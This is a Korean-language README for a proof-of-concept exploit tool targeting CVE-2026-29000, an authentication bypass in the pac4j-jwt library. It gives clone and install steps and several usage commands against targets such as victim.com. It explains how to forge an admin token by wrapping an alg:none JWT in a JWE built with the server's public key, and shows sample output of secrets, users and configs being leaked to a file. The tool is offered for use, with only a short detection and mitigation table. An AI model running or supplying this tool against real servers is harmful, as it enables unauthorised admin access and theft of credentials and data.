
CVE-2026-29000 – pac4j-jwt 인증 우회 (🔥 CVSS 10.0). 공개 키 JWE 래핑을 통한 원클릭 관리자 위조. 구성, 사용자, 비밀 정보를 유출합니다. Keep-alive, 프록시, 사용자 지정 JWKS.⚙️ 교육용 PoC 익스플로잇 도구.
CVE-2026-29000 - JWT alg:none + JWE 암호화를 통한 원클릭 관리자 위조
이 익스플로잇은 pac4j-jwt 라이브러리의 치명적인 CVSS 10.0 취약점인 CVE-2026-29000을 무기화합니다. 서버의 공개 JWKS 키를 추출하고 alg: none으로 암호화된 JWE 토큰을 위조함으로써 완전한 인증 우회를 달성하고 원클릭으로 전체 관리자 권한을 획득합니다.
alg:none JWT를 생성하고 서버 자체 공개 키로 래핑| 라이브러리 | 영향을 받는 버전 | 패치된 버전 |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
⚠️ 면책 조항: 이 도구는 승인된 보안 테스트 및 레드팀 업무 전용입니다.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requirements.txt:
text
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
🚀 사용법
기본 원샷 익스플로잇
python exploit.py --target https://victim.com:8443
위조 토큰 및 유출 데이터 저장
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
사용자 정의 JWKS와 상세 모드
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
프록시 사용 및 Keep-Alive 비활성화
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
사용자 정의 Keep-Alive 간격
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL 검증 활성화
python exploit.py -t https://legit.com:8443 --ssl-verify
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
╔══════════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit ║
║ The Educational One‑Click Admin Forge ║
║ CVSS 10.0 - CRITICAL ║
╚══════════════════════════════════════════════════════════════════════════════╝
[11:23:15] STAGE 1: Acquiring RSA public key from JWKS
[11:23:15] Probing for JWKS endpoint...
[11:23:16] Found JWKS at /realms/master/protocol/openid-connect/certs
[11:23:16] Successfully extracted RSA public key
[11:23:16] STAGE 2: Crafting JWT with alg:none & encrypting into JWE
[11:23:16] Forged JWE token (truncated): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Token saved to backdoor.jwe
[11:23:16] STAGE 3: Sending forged JWE as Bearer token
[11:23:17] ✓ Authentication successful! Access granted to /api/users/me
[11:23:17] STAGE 4: Enumerating accessible endpoints & revealing sensitive data
[11:23:18] ✓ Leaked: /actuator/env (status 200)
[11:23:18] ✓ Leaked: /api/users (status 200)
[11:23:18] ✓ Leaked: /api/secrets (status 200)
[11:23:18] ✓ Leaked: /config/server (status 200)
[11:23:18] ✓ Captured 4 sensitive endpoints → saved to leak.txt
[11:23:18] Keep‑alive session active (Ctrl+C to stop)
[11:23:18] Token (JWE) valid for ~1 hour – reforge if expired
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 1: Public Key Acquisition │
│ ├── Discover JWKS endpoint (15+ known paths) │
│ ├── Fetch JWK containing RSA public key │
│ └── Convert JWK → PEM format │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 2: Token Forging │
│ ├── Create JWT with alg: "none" │
│ ├── Inject admin claims (ROLE_ADMIN, admin: true) │
│ └── Encrypt JWT into JWE using server's public key │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 3: Authentication Bypass │
│ ├── Send JWE as Bearer token │
│ ├── Test 8+ protected endpoints │
│ └── Extract session cookie │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 4: Information Exfiltration │
│ ├── Enumerate 20+ sensitive API paths │
│ ├── Collect configs, users, secrets, environment │
│ └── Save all to leak file │
├─────────────────────────────────────────────────────────────────┤
│ Keep-Alive: Ping /api/ping every N seconds │
└─────────────────────────────────────────────────────────────────┘
악용 후 저장된 JWE 토큰을 curl과 함께 사용하세요:
curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users
| 탐지 방법 | 지표 |
|---|---|
| 로그 분석 | 감사 로그에 나타나는 alg: none JWT |
| 네트워크 모니터링 | 알 수 없는 IP에서 발생한 JWKS 엔드포인트 요청 |
| 버전 확인 | curl /actuator/info |
완화 조치:
pac4j-jwt를 패치된 버전(≥5.1.5, ≥4.5.8, ≥3.18.6)으로 업데이트
JWT 검증기에서 alg: none 지원 비활성화
엄격한 JWE 검증 구현
비정상적인 JWT 구조 모니터링
| 인자 | 약어 | 필수 | 기본값 | 설명 |
|---|
| --target | -t | 예 | - | 대상 URL (예: https://example.com:8443) |
| --jwks | -k | 아니요 | 자동 감지 | 사용자 정의 JWKS 엔드포인트 경로 |
| --output | -o | 아니요 | 없음 | 위조된 JWE 토큰을 파일로 저장 |
| --leak | -l | 아니요 | leaked_TIMESTAMP.txt | 유출된 데이터를 파일로 저장 |
| --verbose | -v | 아니요 | False | 디버그 출력 활성화 |
| --proxy | -p | 아니요 | 없음 | HTTP/HTTPS 프록시 |
| --user-agent | -ua | 아니요 | Mozilla/5.0... | 사용자 정의 User-Agent |
| --no-keep-alive | - | 아니요 | False | 세션 keep-alive 비활성화 |
| --delay | - | 아니요 | 5.0 | Keep-alive 핑 간격(초) |
| --max-retries | - | 아니요 | 3 | 실패한 요청당 최대 재시도 횟수 |
| --ssl-verify | - | 아니요 | False | SSL 인증서 검증 |